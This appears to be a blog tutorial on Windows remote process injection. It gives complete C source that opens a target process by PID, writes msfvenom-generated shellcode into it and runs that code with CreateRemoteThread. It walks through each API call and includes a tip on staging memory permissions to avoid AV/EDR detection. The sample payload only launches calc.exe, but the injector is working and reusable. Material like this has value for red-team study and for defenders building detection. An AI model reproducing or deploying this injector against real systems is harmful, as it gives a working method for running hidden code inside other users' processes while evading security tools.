Intro
So after writing local shellcode injection, now let’s inject our shellcode into remote process which is also called process injection. We can inject our shellcode into other process such as notepad.exe, explorer.exe, etc…
To inject shellcode into other process, we’re gonna need these WinAPI.
- OpenProcess - To open a process with specific PID
- VirtualAllocEx - Same as
VirtualAllocbut it allow us for allocating memory for remote process. - WriteProcessMemory - To write our shellcode into remote process
- VirtualProtectEx - To change memory region to be executable
- CreateRemoteThread - Similar to
CreateThreadbut for remote thread.
Source Code
Let review the source code first to get better vision.
#include <Windows.h>#include <stdio.h>#include <Tlhelp32.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -f cunsigned char pShellcode[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00};
// we create a function called InjectRemoteProcessBOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) { // open process to specify Pid HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); if (hProcess == NULL) { printf("[!] OpenProcess Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] OpenProcess to PID: %i \n", Pid);
// allocating memory into a specific process id that you supply PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) { printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
// write our shellcode into allocated memory if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) { printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);
// change to PAGE_EXECUTE_READWRITE DWORD dwOldProtection = NULL; if (!VirtualProtectEx(hProcess,pShellcodeAddress,pShellcodeSize, PAGE_EXECUTE_READWRITE,&dwOldProtection)) { printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError()); return FALSE; }
// create new thread into remote process printf("[i] Create remote thread to execute payload\n"); HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,0, pShellcodeAddress,NULL,0,NULL); if (hRemoteThread == NULL) { printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] Done\n");
CloseHandle(hProcess); CloseHandle(hRemoteThread); return TRUE;}
int main(int argc, char* argv[]) { if (argc < 2) { printf("[!] Usage : \"%s\" <Process ID> \n", argv[0]); return -1; }
int Pid = atoi(argv[1]); SIZE_T pShellcodeSize = sizeof(pShellcode); // calling the function if (!(InjectRemoteProcess(Pid, pShellcode, pShellcodeSize))) { return -1; } return 0;}Opening a Process
You might familar writing Window API from the first post. First we created a function called InjectRemoteProcess. Function parameters will be processID, shellcode and shellcode size.
The first API will be OpenProcess
HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId);This is a new one. We use it to open a process in a specific Pid that we have to supply as a argument like .\ProcessInjection 1337.
We used PROCESS_ALL_ACCESS for dwDesiredAccess parameter as per MSDN page.

And FALSE for bInheritHandle since we don’t want to inherit of any child of current process. We can use FALSE for process injection. dwProcessId will be our Pid.
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);if (hProcess == NULL) { printf("[!] OpenProcess Failed With Error : %d \n", GetLastError()); return FALSE;}printf("[i] OpenProcess to PID: %i \n", Pid);Allocating Memory
As I said above, this is similar to VirtualAlloc from the first post, VirtualAllocEx is for allocating memory from a remote process. We just used PAGE_READWRITE in here for a moment to avoid high entropy of AV/EDR. We will change this PAGE_EXECUTE_READWRITE later using VirtualProtectEx API. Now our code will be look like this:
PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (pShellcodeAddress == NULL) { printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError()); return FALSE;}printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);Writing Shellcode to Allocated Memory
Another new API is WriteProcessMemory which for writing our shellcode into allocated memory to a remote process.
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten);hProcessis handle of ourOpenProcess.lpBaseAddresswill be ourpShellcodeAddress.lpBufferis ourpShellcode.nSizeis the size of our shellcodepShellcodeSize.lpNumberOfBytesWrittenwe can setNULLfor this.
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) { printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError()); return FALSE;}printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);VirtualProtectEx and CreateRemoteThread are the same as from the first post.
At the end we have to close our handle.
CloseHandle(hProcess);CloseHandle(hRemoteThread);After that we can call this InjectRemoteProcess function from our main.
int main(int argc, char* argv[]) {
// checking arguments if (argc < 2) { printf("[!] Usage : \"%s\" <Process ID> \n", argv[0]); return -1; } // atoi for converting string to integer int Pid = atoi(argv[1]); // declare the size of the shellcode SIZE_T pShellcodeSize = sizeof(pShellcode); // calling the function if (!(InjectRemoteProcess(Pid, pShellcode, pShellcodeSize))) { return -1; } return 0;}Running the program
Now compile the code in visual studio, open a notepad.exe, find its process ID using Process Hacker tool and run it.
